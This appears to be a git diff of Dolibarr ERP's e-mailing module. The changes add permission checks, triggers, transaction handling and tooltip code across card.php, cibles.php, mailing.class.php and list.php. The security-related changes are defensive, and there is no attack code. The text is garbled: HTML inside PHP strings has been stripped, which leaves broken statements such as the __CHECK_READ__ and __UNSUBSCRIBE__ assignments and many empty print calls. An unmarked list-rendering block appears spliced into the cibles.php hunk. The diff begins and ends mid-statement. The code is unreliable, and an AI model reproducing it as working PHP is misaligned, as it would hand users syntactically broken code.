".MAIN_DB_PREFIX."mailing_cibles WHERE rowid=".((int) $obj->rowid).")"; @@ -369,7 +397,7 @@ if (empty($reshook)) { } if (!empty($conf->global->MAILING_DELAY)) { - dol_syslog("Wait a delay of MAILING_DELAY=".$conf->global->MAILING_DELAY); + dol_syslog("Wait a delay of MAILING_DELAY=".((float) $conf->global->MAILING_DELAY)); usleep((float) $conf->global->MAILING_DELAY * 1000000); } @@ -378,7 +406,7 @@ if (empty($reshook)) { // Mail failed $nbko++; - dol_syslog("comm/mailing/card.php: error for #".$i.($mail->error ? ' - '.$mail->error : ''), LOG_WARNING); + dol_syslog("comm/mailing/card.php: error for #".$iforemailloop.($mail->error ? ' - '.$mail->error : ''), LOG_WARNING); $sql = "UPDATE ".MAIN_DB_PREFIX."mailing_cibles"; $sql .= " SET statut=-1, error_text='".$db->escape($mail->error)."', date_envoi='".$db->idate($now)."' WHERE rowid=".((int) $obj->rowid); @@ -388,7 +416,7 @@ if (empty($reshook)) { } } - $i++; + $iforemailloop++; } } else { setEventMessages($langs->transnoentitiesnoconv("NoMoreRecipientToSendTo"), null, 'mesgs'); @@ -441,19 +469,28 @@ if (empty($reshook)) { if (!$error) { // Is the message in html - $msgishtml = -1; // Unknow by default + $msgishtml = -1; // Unknow = autodetect by default if (preg_match('/[\s\t]*/i', $object->body)) { $msgishtml = 1; } + $signature = ((!empty($user->signature) && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $user->signature : ''); + + $parameters = array('mode'=>'emailing'); + $substitutionarray = getCommonSubstitutionArray($langs, 0, array('object', 'objectamount'), $targetobject); // Note: On mass emailing, this is null because be don't know object + // other are set at begin of page - $object->substitutionarrayfortest['__EMAIL__'] = $object->sendto; - $object->substitutionarrayfortest['__MAILTOEMAIL__'] = ''.$object->sendto.''; + $substitutionarray['__EMAIL__'] = $object->sendto; + $substitutionarray['__MAILTOEMAIL__'] = ''.$object->sendto.''; + $substitutionarray['__CHECK_READ__'] = 'sendto."-0", 'md5').'&email='.urlencode($obj->sendto).'&mtid=0" width="1" height="1" style="width:1px;height:1px" border="0"/>'; + $substitutionarray['__UNSUBSCRIBE__'] = 'sendto."-0", 'md5').'&email='.urlencode($obj->sendto).'&mtid=0" target="_blank" rel="noopener noreferrer">'.$langs->trans("MailUnsubcribe").''; + $substitutionarray['__UNSUBSCRIBE_URL__'] = DOL_MAIN_URL_ROOT.'/public/emailing/mailing-unsubscribe.php?tag=undefinedintestmode&unsuscrib=1&securitykey='.dol_hash($conf->global->MAILING_EMAIL_UNSUBSCRIBE_KEY."-undefinedintestmode-".$obj->sendto."-0", 'md5').'&email='.urlencode($obj->sendto).'&mtid=0'; // Subject and message substitutions - complete_substitutions_array($object->substitutionarrayfortest, $langs); - $tmpsujet = make_substitutions($object->sujet, $object->substitutionarrayfortest); - $tmpbody = make_substitutions($object->body, $object->substitutionarrayfortest); + complete_substitutions_array($substitutionarray, $langs, $targetobject); + + $tmpsujet = make_substitutions($object->sujet, $substitutionarray); + $tmpbody = make_substitutions($object->body, $substitutionarray); $arr_file = array(); $arr_mime = array(); @@ -522,9 +559,10 @@ if (empty($reshook)) { exit; } $mesgs[] = $object->error; + $mesgs = array_merge($mesgs, $object->errors); } - setEventMessages(null, $mesgs, 'errors'); + setEventMessages('', $mesgs, 'errors'); $action = "create"; } @@ -609,9 +647,10 @@ if (empty($reshook)) { exit; } $mesgs[] = $object->error; + $mesgs = array_merge($mesgs, $object->errors); } - setEventMessages($mesg, $mesgs, 'errors'); + setEventMessages('', $mesgs, 'errors'); $action = "edit"; } else { $action = "edit"; @@ -671,7 +710,7 @@ if (empty($reshook)) { // Action of delete confirmation if ($action == 'confirm_delete' && $confirm == 'yes') { - if ($object->delete($object->id)) { + if ($object->delete($user)) { $url = (!empty($urlfrom) ? $urlfrom : 'list.php'); header("Location: ".$url); exit; @@ -728,15 +767,15 @@ if ($action == 'create') { // Print mail form print load_fiche_titre($langs->trans("NewMailing"), $availablelink, 'object_email'); - print dol_get_fiche_head(); + print dol_get_fiche_head(array(), '', '', -3); print ''; print ''; - print ''; + print ''; - print ''; + print ''; // Other attributes $parameters = array(); @@ -766,7 +805,7 @@ if ($action == 'create') { print dol_get_fiche_end(); - print $form->buttonsSaveCancel("CreateMailing", ''); + print $form->buttonsSaveCancel("CreateMailing", 'Cancel'); print ''; } else { @@ -861,15 +900,21 @@ if ($action == 'create') { if (!isset($conf->global->MAILING_LIMIT_SENDBYCLI) || $conf->global->MAILING_LIMIT_SENDBYCLI >= 0) { $text .= '

      '; $text .= $langs->trans("MailingNeedCommand"); - $text .= '
      '; + $text .= '
      '; } - print $form->formconfirm($_SERVER['PHP_SELF'].'?id='.$object->id, $langs->trans('SendMailing'), $text, 'sendallconfirmed', '', '', 1, 330, 600, 0, $langs->trans("Confirm"), $langs->trans("Cancel")); + print $form->formconfirm($_SERVER['PHP_SELF'].'?id='.$object->id, $langs->trans('SendMailing'), $text, 'sendallconfirmed', '', '', 1, 380, 660, 0, $langs->trans("Confirm"), $langs->trans("Cancel")); } } $linkback = ''.$langs->trans("BackToList").''; + $morehtmlref = '
      '; + // Ref customer + $morehtmlref .= $form->editfieldkey("", 'title', $object->title, $object, $user->hasRight('mailing', 'creer'), 'string', '', 0, 1); + $morehtmlref .= $form->editfieldval("", 'title', $object->title, $object, $user->hasRight('mailing', 'creer'), 'string', '', null, null, '', 1); + $morehtmlref .= '
      '; + $morehtmlright = ''; $nbtry = $nbok = 0; if ($object->statut == 2 || $object->statut == 3) { @@ -883,7 +928,7 @@ if ($action == 'create') { $morehtmlright .= ')   '; } - dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'ref', '', '', 0, '', $morehtmlright); + dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'ref', $morehtmlref, '', 0, '', $morehtmlright); print '
      '; print '
      '; @@ -891,14 +936,16 @@ if ($action == 'create') { print '
      '.$langs->trans("MailTitle").'
      '.$langs->trans("MailFrom").'
      '.$langs->trans("MailFrom").'
      '.$langs->trans("MailErrorsTo").'
      '.$langs->trans("MailErrorsTo").'
      '; // Description + /* print ''; + */ // From - print '
      '; print $form->editfieldkey("MailTitle", 'title', $object->title, $object, $user->hasRight('mailing', 'creer'), 'string'); print ''; print $form->editfieldval("MailTitle", 'title', $object->title, $object, $user->hasRight('mailing', 'creer'), 'string'); print '
      '; + print '
      '; print $form->editfieldkey("MailFrom", 'email_from', $object->email_from, $object, $user->hasRight('mailing', 'creer') && $object->statut < 3, 'string'); print ''; print $form->editfieldval("MailFrom", 'email_from', $object->email_from, $object, $user->hasRight('mailing', 'creer') && $object->statut < 3, 'string'); @@ -1091,18 +1138,18 @@ if ($action == 'create') { } - $htmltext = ''.$langs->trans("FollowingConstantsWillBeSubstituted").':
      '; + $htmltext = ''.$langs->trans("FollowingConstantsWillBeSubstituted").':

      '; foreach ($object->substitutionarray as $key => $val) { $htmltext .= $key.' = '.$langs->trans($val).'
      '; } - $htmltext .= '
      '; + $htmltext .= '
      '; // Print mail content - print load_fiche_titre($langs->trans("EMail"), $form->textwithpicto(''.$langs->trans("AvailableVariables").'', $htmltext, 1, 'helpclickable', '', 0, 2, 'emailsubstitionhelp'), 'generic'); + print load_fiche_titre($langs->trans("EMail"), $form->textwithpicto(''.$langs->trans("AvailableVariables").'', $htmltext, 1, 'helpclickable', '', 0, 3, 'emailsubstitionhelp'), 'generic'); print dol_get_fiche_head('', '', '', -1); - print ''; + print '
      '; // Subject print ''; @@ -1312,7 +1359,7 @@ if ($action == 'create') { print '
      '; print ''; - print '     '; + print '     '; print ''; print '
      '; diff --git a/htdocs/comm/mailing/cibles.php b/htdocs/comm/mailing/cibles.php index ed3cfce4163..ba3839afa5f 100644 --- a/htdocs/comm/mailing/cibles.php +++ b/htdocs/comm/mailing/cibles.php @@ -73,17 +73,19 @@ $result = $object->fetch($id); $hookmanager->initHooks(array('ciblescard', 'globalcard')); // Security check -if (!$user->rights->mailing->lire || (empty($conf->global->EXTERNAL_USERS_ARE_AUTHORIZED) && $user->socid > 0)) { +if (!$user->hasRight('mailing', 'lire') || (empty($conf->global->EXTERNAL_USERS_ARE_AUTHORIZED) && $user->socid > 0)) { accessforbidden(); } //$result = restrictedArea($user, 'mailing'); +$sqlmessage = ''; + /* * Actions */ -if ($action == 'add') { +if ($action == 'add' && $user->hasRight('mailing', 'creer')) { // Add recipients $module = GETPOST("module", 'alpha'); $result = -1; @@ -103,6 +105,8 @@ if ($action == 'add') { $obj = new $classname($db); dol_syslog("Call add_to_target on class ".$classname); $result = $obj->add_to_target($id); + + $sqlmessage = $obj->sql; } } if ($result > 0) { @@ -117,7 +121,7 @@ if ($action == 'add') { } } -if (GETPOST('clearlist', 'int')) { +if (GETPOST('clearlist', 'int') && $user->hasRight('mailing', 'creer')) { // Loading Class $obj = new MailingTargets($db); $obj->clear_target($id); @@ -127,7 +131,7 @@ if (GETPOST('clearlist', 'int')) { */ } -if (GETPOST('exportcsv', 'int')) { +if (GETPOST('exportcsv', 'int') && $user->hasRight('mailing', 'lire')) { $completefilename = 'targets_emailing'.$object->id.'_'.dol_print_date(dol_now(), 'dayhourlog').'.csv'; header('Content-Type: text/csv'); header('Content-Disposition: attachment;filename='.$completefilename); @@ -166,7 +170,7 @@ if (GETPOST('exportcsv', 'int')) { exit; } -if ($action == 'delete') { +if ($action == 'delete' && $user->hasRight('mailing', 'creer')) { // Ici, rowid indique le destinataire et id le mailing $sql = "DELETE FROM ".MAIN_DB_PREFIX."mailing_cibles WHERE rowid = ".((int) $rowid); $resql = $db->query($sql); @@ -212,6 +216,12 @@ if ($object->fetch($id) >= 0) { $linkback = ''.$langs->trans("BackToList").''; + $morehtmlref = '
      '; + // Ref customer + $morehtmlref .= $form->editfieldkey("", 'title', $object->title, $object, 0, 'string', '', 0, 1); + $morehtmlref .= $form->editfieldval("", 'title', $object->title, $object, 0, 'string', '', null, null, '', 1); + $morehtmlref .= '
      '; + $morehtmlright = ''; $nbtry = $nbok = 0; if ($object->statut == 2 || $object->statut == 3) { @@ -226,16 +236,16 @@ if ($object->fetch($id) >= 0) { $morehtmlright .= ')   '; } - dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'ref', '', '', 0, '', $morehtmlright); + dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'ref', $morehtmlref, '', 0, '', $morehtmlright); print '
      '; print '
      '; print '
      '.$langs->trans("MailTopic").''.$object->sujet.'
      '; - print ''; + //print ''; - print ''; +// Title +print ''; +print ''; +if (!$filteremail) { + print ''; +} +print ''; +print ''; +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; +// Fields from hook +$parameters = array('arrayfields'=>$arrayfields); +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} +print ''."\n"; + +$totalarray = array(); +$totalarray['nbfield'] = 0; + +// Fields title label +// -------------------------------------------------------------------- +print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} +print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "m.rowid", $param, "", "", $sortfield, $sortorder); +$totalarray['nbfield']++; +print_liste_field_titre("Title", $_SERVER["PHP_SELF"], "m.titre", $param, "", "", $sortfield, $sortorder); +$totalarray['nbfield']++; +print_liste_field_titre("DateCreation", $_SERVER["PHP_SELF"], "m.date_creat", $param, "", 'align="center"', $sortfield, $sortorder); +$totalarray['nbfield']++; +if (!$filteremail) { + print_liste_field_titre("NbOfEMails", $_SERVER["PHP_SELF"], "m.nbemail", $param, "", 'align="center"', $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!$filteremail) { + print_liste_field_titre("DateLastSend", $_SERVER["PHP_SELF"], "m.date_envoi", $param, "", 'align="center"', $sortfield, $sortorder); + $totalarray['nbfield']++; +} else { + print_liste_field_titre("DateSending", $_SERVER["PHP_SELF"], "mc.date_envoi", $param, "", 'align="center"', $sortfield, $sortorder); + $totalarray['nbfield']++; +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; +// Hook fields +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +print_liste_field_titre("Status", $_SERVER["PHP_SELF"], ($filteremail ? "mc.statut" : "m.statut"), $param, "", '', $sortfield, $sortorder, 'center '); +$totalarray['nbfield']++; +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} +print ''."\n"; + +$totalarray = array(); +$totalarray['nbfield'] = 0; + + +// Loop on record +// -------------------------------------------------------------------- +$i = 0; +$savnbfield = $totalarray['nbfield']; +$totalarray = array(); +$totalarray['nbfield'] = 0; +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { + $obj = $db->fetch_object($resql); + if (empty($obj)) { + break; // Should not happen + } + + $object->id = $obj->rowid; + $object->ref = $obj->rowid; + + // Show here line of result + $j = 0; + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + print ''; + + // Title + print ''; + + // Date creation + print ''; + + // Nb of email + if (!$filteremail) { + print ''; + } + + // Last send + print ''; + print ''; + + // Status + print ''; + + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + print ''."\n"; + + $i++; +} + +// Show total line +include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; + +// If no record found +if (empty($num)) { + $colspan = 6; + if (!$filteremail) { + $colspan++; + } + print ''; +} + + +$db->free($resql); + +$parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; + +print '
      '.$langs->trans("MailTitle").''.$object->title.'
      '.$langs->trans("MailTitle").''.$object->title.'
      '.$langs->trans("MailFrom").''; + print '
      '.$langs->trans("MailFrom").''; $emailarray = CMailFile::getArrayAddress($object->email_from); foreach ($emailarray as $email => $name) { if ($name && $name != $email) { @@ -285,7 +295,7 @@ if ($object->fetch($id) >= 0) { } } if (empty($nbemail)) { - $nbemail .= ' '.img_warning('').' '.$langs->trans("NoTargetYet").''; + $nbemail .= ' '.img_warning('');//.' '.$langs->trans("NoTargetYet").''; } if ($text) { print $form->textwithpicto($nbemail, $text, 1, 'warning'); @@ -310,22 +320,15 @@ if ($object->fetch($id) >= 0) { if ($allowaddtarget && $user->rights->mailing->creer) { print load_fiche_titre($langs->trans("ToAddRecipientsChooseHere"), ($user->admin ?info_admin($langs->trans("YouCanAddYourOwnPredefindedListHere"), 1) : ''), 'generic'); - //print ''; - print '
      '; print '
      '; - //print '
      '; print '
      '; - //print '
      '; + print '
      '; print '
      '.$langs->trans("RecipientSelectionModules").'
      '; - //print ''; print '
      '.$langs->trans("NbOfUniqueEMails").'
      '; - //print ''; print '
      '.$langs->trans("Filter").'
      '; - //print ''; print '
       
      '; - //print "\n"; print ''; // End tr clearstatcache(); @@ -390,12 +393,13 @@ if ($object->fetch($id) >= 0) { print '
      '; } - print '
      '; + print '
      '; if (empty($obj->picto)) { $obj->picto = 'generic'; } - print img_object($langs->trans("EmailingTargetSelector").': '.get_class($obj), $obj->picto, 'class="valignmiddle pictomodule"'); - print ' '; + print img_object($langs->trans("EmailingTargetSelector").': '.get_class($obj), $obj->picto, 'class="valignmiddle width25 size15x"'); + print '
      '; + print '
      '; // style="height: 4em" print $obj->getDesc(); print '
      '; @@ -405,7 +409,7 @@ if ($object->fetch($id) >= 0) { dol_syslog($e->getMessage(), LOG_ERR); } - print '
      '; + print '
      '; if ($nbofrecipient === '' || $nbofrecipient >= 0) { print $nbofrecipient; } else { @@ -413,7 +417,7 @@ if ($object->fetch($id) >= 0) { } print '
      '; - print '
      '; + print '
      '; if ($allowaddtarget) { try { $filter = $obj->formFilter(); @@ -428,7 +432,7 @@ if ($object->fetch($id) >= 0) { } print '
      '; - print '
      '; + print '
      '; if ($allowaddtarget) { print ''; } else { @@ -454,7 +458,14 @@ if ($object->fetch($id) >= 0) { print '
      '; // End table print '
      '; - print '

      '; + print '
      '; + + if ($sqlmessage && $user->admin) { + print info_admin($langs->trans("SQLUsedForExport").':
      '.$sqlmessage, 0, 0, 1, '', 'TechnicalInformation'); + print '
      '; + } + + print '
      '; } // List of selected targets @@ -548,7 +559,7 @@ if ($object->fetch($id) >= 0) { $massactionbutton = ''; - print_barre_liste($langs->trans("MailSelectedRecipients"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $morehtmlcenter, $num, $nbtotalofrecords, 'generic', 0, '', '', $limit); + print_barre_liste($langs->trans("MailSelectedRecipients"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $morehtmlcenter, $num, $nbtotalofrecords, 'generic', 0, '', '', $limit, 0, 0, 1); print ''; @@ -560,6 +571,7 @@ if ($object->fetch($id) >= 0) { print ''; print ''; print ''; + print ''; print '
      '; print '
      '.$langs->trans("RecipientSelectionModules").''.$langs->trans("NbOfUniqueEMails").''.$langs->trans("Filter").' 
      '; @@ -633,10 +645,12 @@ if ($object->fetch($id) >= 0) { include_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php'; include_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; include_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; + include_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorboothattendee.class.php'; $objectstaticmember = new Adherent($db); $objectstaticuser = new User($db); $objectstaticcompany = new Societe($db); $objectstaticcontact = new Contact($db); + $objectstaticeventorganization = new ConferenceOrBoothAttendee($db); while ($i < min($num, $limit)) { $obj = $db->fetch_object($resql); @@ -645,7 +659,7 @@ if ($object->fetch($id) >= 0) { print ''; print ''; print ''; - print ''; + print ''; print ''; // Status of recipient sending email (Warning != status of emailing) @@ -708,9 +725,13 @@ if ($object->fetch($id) >= 0) { $i++; } } else { - if ($object->statut < 2) { - print ''; + } else { + print ''; } } diff --git a/htdocs/comm/mailing/class/mailing.class.php b/htdocs/comm/mailing/class/mailing.class.php index 4ea794bfbd4..ef83c5d1470 100644 --- a/htdocs/comm/mailing/class/mailing.class.php +++ b/htdocs/comm/mailing/class/mailing.class.php @@ -191,6 +191,12 @@ class Mailing extends CommonObject public $substitutionarrayfortest; + const STATUS_DRAFT = 0; + const STATUS_VALIDATED = 1; + const STATUS_SENTPARTIALY = 2; + const STATUS_SENTCOMPLETELY = 3; + + /** * Constructor * @@ -217,9 +223,10 @@ class Mailing extends CommonObject * Create an EMailing * * @param User $user Object of user making creation - * @return int -1 if error, Id of created object if OK + * @param int $notrigger Disable triggers + * @return int <0 if KO, Id of created object if OK */ - public function create($user) + public function create($user, $notrigger = 0) { global $conf, $langs; @@ -229,8 +236,6 @@ class Mailing extends CommonObject return -1; } - $this->db->begin(); - $this->title = trim($this->title); $this->email_from = trim($this->email_from); @@ -239,7 +244,9 @@ class Mailing extends CommonObject return -1; } + $error = 0; $now = dol_now(); + $this->db->begin(); $sql = "INSERT INTO ".MAIN_DB_PREFIX."mailing"; $sql .= " (date_creat, fk_user_creat, entity)"; @@ -249,20 +256,33 @@ class Mailing extends CommonObject $this->title = $langs->trans("NoTitle"); } - dol_syslog("Mailing::Create", LOG_DEBUG); - $result = $this->db->query($sql); - if ($result) { + dol_syslog(__METHOD__, LOG_DEBUG); + $resql = $this->db->query($sql); + if ($resql) { $this->id = $this->db->last_insert_id(MAIN_DB_PREFIX."mailing"); - if ($this->update($user) > 0) { - $this->db->commit(); - } else { - $this->error = $this->db->lasterror(); - $this->db->rollback(); - return -1; + $result = $this->update($user, 1); + if ($result < 0) { + $error++; } - return $this->id; + if (!$error && !$notrigger) { + // Call trigger + $result = $this->call_trigger('MAILING_CREATE', $user); + if ($result < 0) { + $error++; + } + // End call triggers + } + + if (!$error) { + $this->db->commit(); + return $this->id; + } else { + $this->db->rollback(); + dol_syslog(__METHOD__ . ' ' . $this->error, LOG_ERR); + return -2; + } } else { $this->error = $this->db->lasterror(); $this->db->rollback(); @@ -274,9 +294,10 @@ class Mailing extends CommonObject * Update emailing record * * @param User $user Object of user making change + * @param int $notrigger Disable triggers * @return int < 0 if KO, > 0 if OK */ - public function update($user) + public function update($user, $notrigger = 0) { // Check properties if ($this->body === 'InvalidHTMLString') { @@ -284,6 +305,9 @@ class Mailing extends CommonObject return -1; } + $error = 0; + $this->db->begin(); + $sql = "UPDATE ".MAIN_DB_PREFIX."mailing "; $sql .= " SET titre = '".$this->db->escape($this->title)."'"; $sql .= ", sujet = '".$this->db->escape($this->sujet)."'"; @@ -295,12 +319,30 @@ class Mailing extends CommonObject $sql .= ", bgimage = '".($this->bgimage ? $this->db->escape($this->bgimage) : null)."'"; $sql .= " WHERE rowid = ".(int) $this->id; - dol_syslog("Mailing::Update", LOG_DEBUG); - $result = $this->db->query($sql); - if ($result) { - return 1; + dol_syslog(__METHOD__, LOG_DEBUG); + $resql = $this->db->query($sql); + if ($resql) { + if (!$error && !$notrigger) { + // Call trigger + $result = $this->call_trigger('MAILING_MODIFY', $user); + if ($result < 0) { + $error++; + } + // End call triggers + } + + if (!$error) { + dol_syslog(__METHOD__ . ' success'); + $this->db->commit(); + return 1; + } else { + $this->db->rollback(); + dol_syslog(__METHOD__ . ' ' . $this->error, LOG_ERR); + return -2; + } } else { $this->error = $this->db->lasterror(); + $this->db->rollback(); return -1; } } @@ -520,44 +562,53 @@ class Mailing extends CommonObject /** * Delete emailing * - * @param int $rowid Id if emailing to delete + * @param User $user User that delete * @param int $notrigger Disable triggers * @return int >0 if OK, <0 if KO */ - public function delete($rowid, $notrigger = 0) + public function delete($user, $notrigger = 0) { - global $user; + $error = 0; $this->db->begin(); - $sql = "DELETE FROM ".MAIN_DB_PREFIX."mailing"; - $sql .= " WHERE rowid = ".((int) $rowid); + if (!$notrigger) { + $result = $this->call_trigger('MAILING_DELETE', $user); + if ($result < 0) { + $error++; + } + } - dol_syslog("Mailing::delete", LOG_DEBUG); - $resql = $this->db->query($sql); - if ($resql) { - $res = $this->delete_targets(); - if ($res <= 0) { + if (!$error) { + $sql = "DELETE FROM " . MAIN_DB_PREFIX . "mailing"; + $sql .= " WHERE rowid = " . ((int) $this->id); + + dol_syslog(__METHOD__, LOG_DEBUG); + $resql = $this->db->query($sql); + if ($resql) { + $res = $this->delete_targets(); + if ($res <= 0) { + $error++; + } + + if (!$error) { + dol_syslog(__METHOD__ . ' success'); + $this->db->commit(); + return 1; + } else { + $this->db->rollback(); + dol_syslog(__METHOD__ . ' ' . $this->error, LOG_ERR); + return -2; + } + } else { $this->db->rollback(); $this->error = $this->db->lasterror(); return -1; } } else { $this->db->rollback(); - $this->error = $this->db->lasterror(); return -1; } - - if (!$notrigger) { - $result = $this->call_trigger('MAILING_DELETE', $user); - if ($result < 0) { - $this->db->rollback(); - return -1; - } - } - - $this->db->commit(); - return 1; } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps @@ -680,6 +731,36 @@ class Mailing extends CommonObject return 1; } + /** + * getTooltipContentArray + * + * @param array $params ex option, infologin + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs; + + $nofetch = !empty($params['nofetch']); + $langs->load('mails'); + + $datas = array(); + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("ShowEMailing").''; + if (isset($this->statut)) { + $datas['picto'] .= ' '.$this->getLibStatut(5); + } + $datas['ref'] = '
      '.$langs->trans('Ref').': '.$this->ref; + if (isset($this->title)) { + $datas['title'] .= '
      '.$langs->trans('MailTitle').': '.$this->title; + } + if (isset($this->sujet)) { + $datas['subject'] .= '
      '.$langs->trans('MailTopic').': '.$this->sujet; + } + + return $datas; + } + /** * Return a link to the object card (with optionally the picto) * @@ -701,11 +782,21 @@ class Mailing extends CommonObject } $result = ''; - $companylink = ''; - - $label = ''.$langs->trans("ShowEMailing").''; - $label .= '
      '; - $label .= ''.$langs->trans('Ref').': '.$this->ref; + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'option' => $option, + 'nofetch' => 1, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); + } $url = DOL_URL_ROOT.'/comm/mailing/card.php?id='.$this->id; @@ -726,8 +817,8 @@ class Mailing extends CommonObject $label = $langs->trans("ShowEMailing"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.($morecss ? ' '.$morecss : '').'"'; } else { $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); } @@ -738,7 +829,7 @@ class Mailing extends CommonObject $result .= $linkstart; if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } if ($withpicto != 2) { $result .= $this->ref; diff --git a/htdocs/comm/mailing/index.php b/htdocs/comm/mailing/index.php index d3ebc379b55..cf3d18adbac 100644 --- a/htdocs/comm/mailing/index.php +++ b/htdocs/comm/mailing/index.php @@ -101,7 +101,7 @@ if (is_resource($handle)) { $qualified = 1; foreach ($mailmodule->require_module as $key) { - if (!$conf->$key->enabled || (!$user->admin && $mailmodule->require_admin)) { + if (empty($conf->$key->enabled) || (!$user->admin && $mailmodule->require_admin)) { $qualified = 0; //print "Les pr�requis d'activation du module mailing ne sont pas respect�s. Il ne sera pas actif"; break; @@ -176,7 +176,7 @@ if ($result) { print ''; print ''; - print ''; + print ''; print ''; print ''; print ''; diff --git a/htdocs/comm/mailing/info.php b/htdocs/comm/mailing/info.php index 86ce2eb70b2..b2f051bc3a6 100644 --- a/htdocs/comm/mailing/info.php +++ b/htdocs/comm/mailing/info.php @@ -58,6 +58,12 @@ if ($object->fetch($id) >= 0) { $linkback = ''.$langs->trans("BackToList").''; + $morehtmlref = '
      '; + // Ref customer + $morehtmlref .= $form->editfieldkey("", 'title', $object->title, $object, 0, 'string', '', 0, 1); + $morehtmlref .= $form->editfieldval("", 'title', $object->title, $object, 0, 'string', '', null, null, '', 1); + $morehtmlref .= '
      '; + $morehtmlright = ''; $nbtry = $nbok = 0; if ($object->statut == 2 || $object->statut == 3) { @@ -71,7 +77,7 @@ if ($object->fetch($id) >= 0) { $morehtmlright .= ')   '; } - dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'ref', '', '', 0, '', $morehtmlright); + dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'ref', $morehtmlref, '', 0, '', $morehtmlright); print '

      '; diff --git a/htdocs/comm/mailing/list.php b/htdocs/comm/mailing/list.php index 13a7e63d364..e6163b9f2da 100644 --- a/htdocs/comm/mailing/list.php +++ b/htdocs/comm/mailing/list.php @@ -1,5 +1,5 @@ +/* Copyright (C) 2005-2023 Laurent Destailleur * Copyright (C) 2005-2010 Regis Houssin * * This program is free software; you can redistribute it and/or modify @@ -27,19 +27,49 @@ require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/comm/mailing/class/mailing.class.php'; // Load translation files required by the page -$langs->load("mails"); +$langs->load('mails'); -$sortfield = GETPOST('sortfield', 'aZ09comma'); -$sortorder = GETPOST('sortorder', 'aZ09comma'); -$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; -$optioncss = GETPOST('optioncss', 'alpha'); -$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); -if (empty($page) || $page == -1 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) { +// Get Parameters +$action = GETPOST('action', 'aZ09') ? GETPOST('action', 'aZ09') : 'view'; // The action 'create'/'add', 'edit'/'update', 'view', ... +$massaction = GETPOST('massaction', 'alpha'); // The bulk action (combo box choice into lists) +$show_files = GETPOST('show_files', 'int'); // Show files area generated by bulk actions ? +$confirm = 